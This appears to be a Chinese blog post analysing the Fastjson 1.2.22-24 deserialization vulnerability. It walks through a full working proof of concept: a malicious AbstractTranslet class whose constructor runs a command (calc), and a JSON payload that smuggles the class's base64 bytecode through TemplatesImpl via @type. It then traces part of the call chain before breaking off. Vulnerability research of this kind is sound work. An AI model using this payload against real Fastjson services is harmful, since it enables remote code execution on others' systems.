Fastjson 1.2.22-24 反序列化漏洞分析

0x00 简单介绍

介绍：FastJson是一款由阿里开发的JSON库

影响版本：1.2.22-24

官方通告：https://github.com/alibaba/fastjson/wiki/security_update_20170315

补丁：https://github.com/alibaba/fastjson/commit/d075721cf396d5cb70e24c824b901e3a9a5b342b

FastJson的简单使用

先通过一个简单的demo来熟悉一下FastJson的基本操作。首先创建一个Student类，Student.java：

package ka1n4t.test;

public class Student {
    public String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

Students有一个公有属性name和一个私有属性age。下面使用一个测试类，将json字符串反序列化成Student对象，learnFJ.java：

package ka1n4t.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.JSONObject;

public class learnFJ {
    public static void main(String args[]) {
        String text = "{\"@type\":\"ka1n4t.test.Student\",\"name\":\"ZhangSan\",\"age\":123}";
        Student obj1 = JSON.parseObject(text, Student.class, Feature.SupportNonPublicField);
        System.out.println(obj1.getName());
    }
}

结果：

0x01 原理分析

分析POC

先看一下用于反序列化的恶意类evilClass1.java:

package ka1n4t.poc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evilClass1 extends AbstractTranslet/*ka1n4t*/ {

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

    public evilClass1() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    public static void main(String[] args) throws IOException {
        evilClass1 helloworld = new evilClass1();
    }
}

其中的构造方法是用exec弹个计算器。看下poc，vulApp1.java：

package ka1n4t.poc;

import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class vulApp1 {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }

        String result = Base64.encodeBase64String(bos.toByteArray());

        return result;
    }

    public static void bad_method() {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        String evil_path = "D:\\Java-App\\fastjson-1.2.22\\target\\classes\\ka1n4t\\poc\\evilClass1.class";
        String evil_code = readClass(evil_path);

        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evil_code+"\"]," +
                "‘_name‘:‘a.b‘," +
                "‘_tfactory‘:{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text1);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
    }

    public static void main(String args[]) {
        bad_method();
    }

}

核心部分：

String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evil_code+"\"]," +
                "‘_name‘:‘a.b‘," +
                "‘_tfactory‘:{ }," +
                "\"_outputProperties\":{ }}\n";

Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

_bytecodes是经过base64编码的evilClass1的字节码文件，NASTY_CLASS是TemplatesImpl类。总结一下这个payload，利用JSON.parseObject反序列化TemplatesImpl类，其中_bytecodes属性是经过base64编码的恶意类字节码文件。

调试分析

下面来分析一下反序列化TemplatesImpl的调用链，首先调用其getOutputProperties()方法：

然后下面经过java的反射机制，然后到达TemplatesImpl类：

跟进newTransformer()方法，这个方法是用于创建一个Transformer实例。然后到达getTransletInstance()方法：

getTransletInstance()方法用于创建一个translet实例，返回这个translet给newTransformer()，然后被包裹成Transformer对象。跟进一下这个方法，发现其调用了defineTransletClasses()用来加载_bytecodes中的类，接着又调用了_class[_transletIndex].newInstance()将defineTransletClasses()返回的类进行实例化：